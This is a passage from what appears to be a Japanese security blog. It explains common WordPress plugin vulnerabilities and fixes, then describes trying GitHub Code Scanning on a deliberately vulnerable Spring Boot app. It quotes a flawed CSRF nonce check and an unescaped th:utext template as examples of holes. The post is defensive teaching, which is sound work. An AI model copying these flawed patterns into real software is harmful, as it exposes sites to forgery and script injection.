 これはライブラリ(elFinder)が WordPress を前提で開発されているものではなく、それを考慮せずにライブラリをディレクトリ配下に配置したのが原因で脆弱性が生じてしまったと考えられます。

File Manager 6.0-6.9 - Unauthenticated Arbitrary File Upload leading to RCE Security Vulnerability

 サードパーティライブラリを導入することで脆弱性が生じてしまうのは、ライブラリの導入方法が同様であれば脆弱性も同様に発生する点が特徴です。

 実際に「augmented-reality(脆弱性が修正されず非公開状態)」という WordPress プラグインにも全く同じ脆弱性が発見されています。
攻撃者は、このライブラリを用いているプラグインが他に存在するか確認していることでしょう。

Augmented Reality <= 1.2.0 - Unauthenticated PHP File Upload leading to RCE Security Vulnerability

事例2 : Epsilon Framework

 こちらの事例はプラグインではなくテーマの脆弱性です。

しかし脆弱性が生じた原因は事例1と大きく変わらないです。

 Epsilon Framework を利用している15種のテーマから脆弱性が発見されたというものです。

blog.nintechnet.com

 これらのことからサードパーティライブラリを利用して WordPress プラグインを開発する場合は、ライブラリ導入時に直接アクセスされたくないファイルは「除外」または「 WordPress 経由以外ではコードを実行させないように修正」したほうが良さそうです。
(例:デバッグ用のコードが含まれていそうなテストコード tests/ 配下を削除)

 しかしながらサードパーティーライブラリの中身を見てファイルの必要有無の判断やコードの修正するのは難しいです。

日々のプラグイン脆弱性情報から開発で利用しているライブラリ経由で発生している脆弱性がないかを確認するようにし、該当するようであればパッチを当てる運用でも問題ないと思われます。

3. 権限の検証に不備があるAPI

 WordPress プラグインは register_rest_route 関数 を用いることで、容易に WordPress サイトに REST API を実装することが可能です。

 その API に権限の検証に不備があったり、そもそも権限の検証をしていないといったことが脆弱性になります。

 脆弱性が悪用されることでプラグインの機能が意図していない第三者によって利用される恐れがあります。(記事の投稿・ユーザアカウントの作成 など)

REST API ルートエンドポイント

 サイトの REST API の定義内容は、REST API ルートエンドポイント(?rest_route=/)にアクセスすることで確認できるようになっています。

この機能はデフォルトで有効になっています。無効にするには、WordPressのコードを修正するか、この機能を無効化するプラグインを導入する必要があります。

 この定義情報は攻撃者にとっては有意義な情報であり無効状態が推奨されますが、普段使う機能でないためにデフォルト(有効)状態なっているサイトが多く見られます。

f:id:motikan2010:20201116204043p:plain:w500
ルートエンドポイントにアクセスすると定義されているAPI一覧が表示されます

権限

 REST API のルートエンドポイントから API の定義情報からインストールされているプラグインが確認できることから、プラグインの REST API が攻撃の対象となってしまうことがあります。

 そのため REST API にアクセスされた場合に権限の検証をすることは必須事項です。

 WordPress では権限を検証するために current_user_can 関数が用意されており、簡単に権限の検証を行えるようになっています。

 current_user_can 関数の詳しい使い方は以下を参照下さい。
current_user_can – WordPress私的マニュアル

 むやみにcurrent_user_can 関数を使えば安全というわけではなく、引数として渡す権限のレベルにも気を付けましょう。 寄稿者アカウントで管理者アカウント用の操作ができるようであれば安全とは言えません。

 権限のレベルについては以下を参照下さい。
LevelとCapability – WordPress私的マニュアル

事例

 権限検証の不備で脆弱性が発生してしますが、current_user_can関数を用いることで脆弱性の修正が行われています。

blog.nintechnet.com

f:id:motikan2010:20201116212145p:plain:w500
権限の不備が起因となった脆弱性の修正内容

4. CSRF(Cross-site Request Forgery)

 特定のWebアプリケーションフレームワークを用いて開発している場合は自動的にCSRFトークンの検証が行われますが、WordPress の場合は自動的にはCSRFの検証は行われません

 CSRFトークンの検証はプラグイン開発者自身で実装する必要があります。
実装といってもトークンの検証する wp_verify_nonce 関数が用意されてますので、簡単に実装することができます。

 wp_verify_nonce 関数を用いてトークンの検証する場合に気を付けることがあります。

 以下の記事は wp_verify_nonce 関数を用いているにも関わらず 25種のテーマで CSRF の脆弱性が発見されたというものです。

blog.nintechnet.com

 1つのパターンを引用し説明します。
とあるプラグイン では以下のコードで CSRF 対策が行われているようです。

if ( isset( $_POST['some-nonce'] ) && ! wp_verify_nonce( $_POST['some-nonce'], 'some-nonce' ) ) {
   exit( 'Potential CSRF attack detected.' );
}

 some-nonceパラメータが CSRF トークンであり、wp_verify_nonce関数を用いてCSRFの検証を行い、検証結果が false の場合に処理を中断するので CSRF 対策ができていそうです。

 しかしこのコードでは some-nonce パラメータが送信されない場合が考慮されていないようです。

some-nonce パラメータが送信されていない場合は isset 部分で false となりトークンの検証が行われずに後続処理が行われてしまいます。

 トークンが送信されない場合はエラーとしたいので最初の条件は ! isset( $_REQUEST['some-nonce'] ) にする必要があります。

 細かい点ではありますが、このような実装は実際のテーマで発見されているので、このようなパターンがあることを頭に置いていた方が良いでしょう。

 このような小さなミスで脆弱性が発生するので、脆弱性を見つけてみたいという方には上の記事は面白いと思います。

5. XSS(Cross-site scripting)

 ユーザの入力値を返すようなプラグインに発生する可能性がある脆弱性です。

 Webアプリケーションフレームワークを用いて開発した場合、ブラウザへの出力する際に自動的にエスケープ(サニタイジング)されるのがほとんどですが、WordPress プラグイン開発では自動的にエスケープされません

 WordPress ライブラリ開発ではエスケープ漏れの部分があると XSS の脆弱性が発生する可能性があります。

 PHPではhtmlspecialchars関数を用いてエスケープすることができますが、WordPress には表示箇所に応じたエスケープ処理をラップした関数が用意されていますので、それらを用いて開発した方が無難です。

関数名 表示箇所
esc_html タグ要素内
esc_attr タグ属性内
esc_url href属性内(利用できるスキームに制限が掛かるようになります)
esc_js script 内

6. SQLインジェクション

 読み込み、書き込み問わずデータベースにアクセスする必要があるプラグインに発生する可能性がある脆弱性です。

 WordPress にはデフォルトで O/Rマッパー が用意されていないので、SQLインジェクションの脆弱性が発見されることがたびたびあります。

対策

prepare 関数 で対策

 WordPress はデフォルトで O/Rマッパー を用意されておらず、データベースにアクセスするためには 素のSQL文 をコード内に記述する必要があります。

 セキュリティを意識せずにSQL文を組み立てることで、ユーザが入力した任意の値がSQL文の中に挿入されてしまいます。

 ユーザから入力値をエスケープするために prepare関数 を用いるようにしましょう。

prepare関数 の使い方は以下のページが参考になります。
関数リファレンス/wpdb Class - WordPress Codex 日本語版

 以下の差分はとあるプラグインの SQLインジェクション の修正コミットです。

SQLインジェクションの修正部分
SQLインジェクションの修正部分

バリデーション で対策

 POST(投稿) ID のような数値が想定されている値については、ユーザからの入力値を int型にキャストする処理をします。
また 数値であることの検証(バリデーション)するようにします。

 実際、prepare関数 を使うような脆弱性の修正ではなく、脆弱性があるパラメータを int型にキャストする 修正がいくつかありました。

まとめ

 本記事で紹介したようにセキュアな WordPress プラグインを開発する場合は、脆弱性を生み出さないことを考える必要があります。
自動的に対策されるような脆弱性はほぼないと言ってもよいでしょう。その点はレガシーと感じてしまう部分となっていますが・・・。

 脆弱性が生まれやすいかつOSSなので、何でもいいから脆弱性を発見したいという方には、WordPress プラグインというのはオススメの領域だと思います。
なので日々、様々なプラグインで脆弱性が報告されている状態であり、シェアの広いプラグインであっても、深刻な脆弱性が見つかることも珍しくありません。

 PHPコードの静的解析で脆弱性を検出するツールも存在しているようです。(さわったことはありません)

 これらのことから WordPress プラグイン開発者は常にプラグインが攻撃の対象になることを意識しながら開発する必要があります。
たとえ開発したプラグインのシェアが小さくても脆弱性が報告されるということが当然のようにありますので、利用者が少ないからといって攻撃の対象にならないわけではありません。

 今回は WordPress プラグインの特色が強い脆弱性を紹介しましたが、本記事で紹介した脆弱性以外にもプラグインに潜む脆弱性は多々あります。
(例:アップロードファイルの検証が行われず、PHPファイルなどのファイルがアップロードが可能になってしまっている等)

参考

更新履歴

  • 2020年11月17日 新規作成
  • 2020年11月24日 「WordPress Plugin Security Testing Cheat Sheet」のリンク追加

GitHubのCode Scanningを使ってみる

f:id:motikan2010:20201011211756p:plain

はじめに

 先日GitHubから Code Scanning が正式リリースされました。
github.blog

 一言で表すと「プログラムを検査し、脆弱性を検出する」ツールです。

 今までもこのような静的解析ツールは存在していましたが、GitHubパブリックリポジトリに対してのスキャンは「「「無料」」」なので早速使ってみました。

 対応している言語は CC++C#JavaJavaScriptTypeScriptPythonGo となっています。

本記事でやること

  • 意図的に脆弱性を埋め込んだWebアプリケーションのスキャン
  • スキャン結果の確認

▼ 本記事で利用したリポジトリです。プルリクに検査結果があります。
github.com

 ちなみにリポジトリメンバー以外は検出された脆弱性の詳細情報を確認することができないようです。

  • メンバー からの見え方
    f:id:motikan2010:20201011214016p:plain:w500
  • メンバー以外 からの見え方
    f:id:motikan2010:20201011214012p:plain:w500

環境

 本記事で Java で作成したWebアプリケーションをスキャンしていきます。
Webフレームワークには Spring Boot を利用しています。

Java AdoptOpenJDK 11.0
Spring Boot 2.3.4

スキャンの実行準備

 Code Scanning を実行には、GitHub Actions を利用することができます。

そのためCode Scanningのワークフロー用ファイルを作成するだけでスキャンを実行することが可能です。

ワークフロー用のYAMLファイルの作成

 スキャンを実行するためには .github/workflows/codeql-analysis.yml ファイルが必要です。
このファイルの作成手順は以下の通りです。

①. パブリックリポジトリ内で、Securityタブ > Set up code scanningボタン
f:id:motikan2010:20201011151525p:plain:w600

 ちなみにプライベートリポジトリでは Set up code scanning の表示されませんでした。
f:id:motikan2010:20201011151535p:plain:w600

 (当然ですが)Code Scanning 設定後にプライベートリポジトリに変更してもスキャンできません。
f:id:motikan2010:20201011210108p:plain:w600

②. Set up this workflowボタン
f:id:motikan2010:20201011151540p:plain:w600

③. Start commitボタン押下後、.github/workflows/codeql-analysis.yml ファイルが作成されます。

f:id:motikan2010:20201011151551p:plain:w600

codeql-analysis.ymlファイルの内容

# For most projects, this workflow file will not need changing; you simply need
# to commit it to your repository.
#
# You may wish to alter this file to override the set of languages analyzed,
# or to provide custom queries or build logic.
name: "CodeQL"

on:
  push:
    branches: [master]
  pull_request:
    # The branches below must be a subset of the branches above
    branches: [master]
  schedule:
    - cron: '0 4 * * 0'

jobs:
  analyze:
    name: Analyze
    runs-on: ubuntu-latest

    strategy:
      fail-fast: false
      matrix:
        # Override automatic language detection by changing the below list
        # Supported options are ['csharp', 'cpp', 'go', 'java', 'javascript', 'python']
        language: ['java']
        # Learn more...
        # https://docs.github.com/en/github/finding-security-vulnerabilities-and-errors-in-your-code/configuring-code-scanning#overriding-automatic-language-detection

    steps:
    - name: Checkout repository
      uses: actions/checkout@v2
      with:
        # We must fetch at least the immediate parents so that if this is
        # a pull request then we can checkout the head.
        fetch-depth: 2

    # If this run was triggered by a pull request event, then checkout
    # the head of the pull request instead of the merge commit.
    - run: git checkout HEAD^2
      if: ${{ github.event_name == 'pull_request' }}

    # Initializes the CodeQL tools for scanning.
    - name: Initialize CodeQL
      uses: github/codeql-action/init@v1
      with:
        languages: ${{ matrix.language }}
        # If you wish to specify custom queries, you can do so here or in a config file.
        # By default, queries listed here will override any specified in a config file. 
        # Prefix the list here with "+" to use these queries and those in the config file.
        # queries: ./path/to/local/query, your-org/your-repo/queries@main

    # Autobuild attempts to build any compiled languages  (C/C++, C#, or Java).
    # If this step fails, then you should remove it and run the build manually (see below)
    - name: Autobuild
      uses: github/codeql-action/autobuild@v1

    # ℹ️ Command-line programs to run using the OS shell.
    # 📚 https://git.io/JvXDl

    # ✏️ If the Autobuild fails above, remove it and uncomment the following three lines
    #    and modify them (or add more) to build your code if your project
    #    uses a compiled language

    #- run: |
    #   make bootstrap
    #   make release

    - name: Perform CodeQL Analysis
      uses: github/codeql-action/analyze@v1

エラー発生

 codeql-analysis.ymlの作成時にスキャンが実行されましたが、下記のエラーが発生しました。

  [2020-10-10 18:13:27] [autobuild] Daemon will be stopped at the end of the build stopping after processing
  [2020-10-10 18:13:41] [autobuild] > Task :compileJava FAILED
  [2020-10-10 18:13:41] [autobuild] FAILURE: Build failed with an exception.
  [2020-10-10 18:13:41] [autobuild] * What went wrong:
  [2020-10-10 18:13:41] [autobuild] Execution failed for task ':compileJava'.
  [2020-10-10 18:13:41] [autobuild] > Could not target platform: 'Java SE 11' using tool chain: 'JDK 8 (1.8)'.

 Could not target platform: 'Java SE 11' using tool chain: 'JDK 8 (1.8)'.
とメッセージが表示され、Java 11 に対応させる必要がありそうです。

Java 11 に対応

 エラーを解消するために、codeql-analysis.yml内のstepsに以下を追加します。

    - uses: actions/setup-java@v1
      with:
        java-version: '11'

 これで問題なくスキャンが実行されるようになりました。

スキャン実行

 ここからは実際にアプリケーションに対してスキャンを実行してきます。

 今回利用するアプリケーションは Code Scanning を試すために作成したもので意図的に脆弱性を埋め込んでいます。
試した脆弱性は「SQL Injection」「Insecure Deserialization」「Cross-Site Scripting」の3種です。

 そしてスキャンによって検知された脆弱性が、どのように表示されるのかを確認します。

SQL Injection

 スキャンを実行するために SQL Injectionの脆弱性が含まれたコードのプルリクエスト を作成しました。

 スキャンの結果に ❌ が表示されていることから、何か起きたことが分かります。Detailsを押下しスキャンの詳細を確認してみます。
f:id:motikan2010:20201011175049p:plain:w600

 スキャン結果 1件の脆弱性が検知された旨の記述があり、脆弱性の概要は Query built from user-controlled sources となっています。

 これで意図的に埋め込んだSQL Injection が Code Scanning によって検知されたことが確認できました。
f:id:motikan2010:20201011184350p:plain:w600

 脆弱性の詳細を確認するためには Show more details を押下します。

そうすると脆弱性が存在しているコード部分が強調された、脆弱性の詳細画面へ遷移します。
f:id:motikan2010:20201011175052p:plain:w600

 より詳細に脆弱性について知りたいのであれば、Show more を押下します。すると脆弱性の概要や修正方法、参考リンクなどの情報が展開されます。

 下画像は SQL Injection の場合ですが、結構なボリュームがあります。
f:id:motikan2010:20201011174009p:plain:w400

 さらにShow pathsを押下すると、ユーザが入力した値(ここではname値)がどのような流れでSQLに挿入されるのかを確認できます。(親切すぎる!)
f:id:motikan2010:20201011175057p:plain:w600

Insecure Deserialization(安全でないデシリアライゼーション)

 次は Insecure Deserialization の脆弱性を埋め込んでスキャン してみます。

 スキャン結果の詳細は以下のように表示されました。
f:id:motikan2010:20201011190503p:plain:w600

 Insecure Deserialization でも同様にユーザが入力した値がどのような流れで脆弱なコードにたどり着くのかを確認することができました。
f:id:motikan2010:20201011190459p:plain:w600

Cross-Site Scripting(XSS)

 最後に Cross-Site Scripting(XSS) の脆弱性を埋め込んでスキャン してみます。

 スキャン結果から先に言うと、Code Scanning では脆弱性が検知されませんでした。

 脆弱性を含むプルリクエストは下画像です。上部がコントローラ側、下部がビュー側となっています。
f:id:motikan2010:20201011202004p:plain:w600

 XSSの原因となっているコードは <span th:utext="${msg}"/> の部分で th:utext を使っている点です。 これはユーザから与えられた値はHTMLエスケープせずに表示されるようになっています。

 ですが、下画像のスキャン結果通り XSS は検知されませんでした。

f:id:motikan2010:20201011202350p:plain:w600

 原因は不明ですが、Javaコード外で発生している脆弱性だからなのではないかなと思っています。
(テンプレートエンジンは検査対象外?)
 それか 脆弱性の埋め込み力 が足りていない・・・。

その他

リポジトリにアクティビティがないと無効化される

 Code Scanning を有効化しているリポジトリは60日間更新しないと自動的に無効化されるようです。

 無効化される前に下のようなメールが届きました。

f:id:motikan2010:20201207043557p:plain:w600

 メール記載のリンク先からすぐに更新することができました。
f:id:motikan2010:20201207043828p:plain:w600

まとめ

 今回初めて GitHub の Code Scanning を利用してみましたが、導入が簡単であり、検出された脆弱性についても説明や検出理由の記載もあり、有意義な機能だと感じました。

 パブリックリポジトリでの利用は無料ですので、今後の開発では導入するのが一般的になっていくのではないかと期待していまが、どうしてもプライベートリポジトリでの利用は有償となっているので、その点が導入のハードルになるのではと思っています。

 プライベートリポジトリで利用するためには、「GitHub One」ライセンス、または「Enterprise + Code scanning オプション」ライセンス を利用する必要があるとのことです。

 価格は提示されていませんが、十分な機能が提供されていることもありますのでいいお値段しそうです。
f:id:motikan2010:20201011203630p:plain:w600

 今も様々な言語がサポートしていますが PHP や Ruby もサポートされることに期待しています。

更新履歴

  • 2020年10月11日 新規作成